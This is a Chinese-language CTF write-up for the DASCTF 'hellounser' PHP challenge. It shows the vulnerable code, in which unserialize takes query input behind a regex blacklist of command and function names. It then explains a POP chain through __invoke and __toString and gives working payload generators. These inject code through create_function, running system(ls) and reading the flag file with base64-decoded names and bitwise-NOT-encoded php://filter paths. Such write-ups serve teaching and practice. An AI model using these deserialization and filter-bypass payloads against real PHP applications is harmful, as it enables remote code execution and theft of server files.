CTF | 4分钟
DASCTF Sept X 浙江工业大学秋季挑战赛 hellounser
十月 1, 2021
WEB POP链 取反绕过

我傻逼,当时没做出来,赛后看wp才理解,正则也要复习复习了

php
 1<?php
 2class A {
 3    public $var;
 4    public function show(){
 5        echo $this->var;
 6    }
 7    public function __invoke(){
 8        $this->show();
 9    }
10}
11class B{
12    public $func;
13    public $arg;
14    public function show(){
15        $func = $this->func;
16        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
17            die('No!No!No!'); 
18        } else { 
19            include "flag.php";
20            //There is no code to print flag in flag.php
21            $func('', $this->arg); 
22        }
23    }
24    public function __toString(){
25        $this->show();
26        return "<br>"."Nice Job!!"."<br>";
27    } 
28}
29
30if(isset($_GET['pop'])){
31    $aaa = unserialize($_GET['pop']);
32    $aaa();
33}
34else{
35    highlight_file(__FILE__);
36}
37?>

首先能出flag的地方只有B里show函数的文件包含部分,怎么调用这个show函数?同B类的__toString调用了,如何调用__toString?

__toString 当一个对象被当作一个字符串被调用。

对象当作字符串用,A里的show函数,输出var就是输出字符串,所以把这个var定义为B的对象,即可触发__toString,这个输出var是A的show方法,__invoke就会调用这个show方法

__invoke() 当脚本尝试将对象调用为函数时触发

下面的把pop接收后反序列化给$aaa,而后$aaa(),就满足了把对象当函数用

现在链子清楚了,我们可以看看如何构造命令,正则意思是func从开头到字母不能是纯数字或字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号。这里很好绕过,比如含有一个_即可绕过。或者开头换行符号都可以

$arg过滤了一大堆东西,都满足就会包含flag.php,然后func作为函数名,两个参数一个空一个arg

这里可以使用create_function()这个函数,这个函数会创建匿名函数,内部会跟eval差不多的功能,所以代码注入

return(1);}任意代码;//

我们先看下目录

php
 1<?php
 2class A {
 3    public $var;   
 4}
 5class B{
 6    public $func;
 7    public $arg;
 8}
 9$a=new A;
10$a->var=new B;
11$a->var->func="create_function";
12$a->var->arg='return(1);}system(ls);//';
13echo serialize($a);
14?>

Tru3flag.php应该就有真flag,包含此文件并输出,这里直接写会因为含有flag被正则过滤,所以需要编码后,输出

php
 1<?php
 2class A {
 3    public $var;   
 4}
 5class B{
 6    public $func;
 7    public $arg;
 8}
 9$a=new A;
10$a->var=new B;
11$a->var->func="create_function";
12$a->var->arg='return(1);}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//';
13echo serialize($a);
14?>

返回一个包含所有已定义变量列表的多维数组,var_dump则是输出这个多维数组内容

还有一种取反的方法,我写的payload老是错,分段写比较好,但是我还是写一起了

php
 1<?php
 2class A {
 3    public $var;   
 4}
 5class B{
 6    public $func;
 7    public $arg;
 8}
 9$a=new A;
10$a->var=new B;
11$a->var->func="create_function";
12$a->var->arg='return(1);}require(~('.strval(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php')).'));//';
13echo urlencode(serialize($a));
14?>

这里对伪协议取反,然后strval转化成字符串,两边的点是为了把这个取反后的字符串跟两端代码连接在一起。不分开连,直接写字符串,会被认为是整体的一串字符,然后被正则过滤,因为取反后有许多不可见字符,因此需要url编码

得到的base64代码,解码即出flag